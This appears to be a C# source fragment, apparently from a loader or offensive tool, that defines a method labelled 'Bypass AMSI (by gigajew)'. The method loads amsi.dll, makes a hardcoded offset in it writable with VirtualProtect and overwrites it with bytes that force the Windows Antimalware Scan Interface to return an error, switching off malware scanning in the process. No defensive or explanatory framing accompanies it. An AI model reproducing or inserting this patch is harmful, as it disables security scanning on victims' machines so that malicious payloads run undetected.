private const string V = "kernel32.dll";

        [DllImport(V)]
        private static extern IntPtr LoadLibrary(string lib);

        [DllImport(V)]
        private static extern bool VirtualProtect(IntPtr addr, int length, int flprot, out int oldprot);


        /// <summary>
        /// Bypass AMSI (by gigajew)
        /// </summary>
        private static void AMSIBypass()
        {
            IntPtr addr = new IntPtr(LoadLibrary("amsi.dll").ToInt64() + ((IntPtr.Size * 8 == 32) ? 0x44A0:  0x23E0));
            byte[] buffer = ((IntPtr.Size ==4) ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } );
            if (VirtualProtect(addr, buffer.Length, 0x04, out int old))
            {
                Marshal.Copy(buffer, 0, addr, buffer.Length);
                VirtualProtect(addr, buffer.Length, old, out old);
            }
        }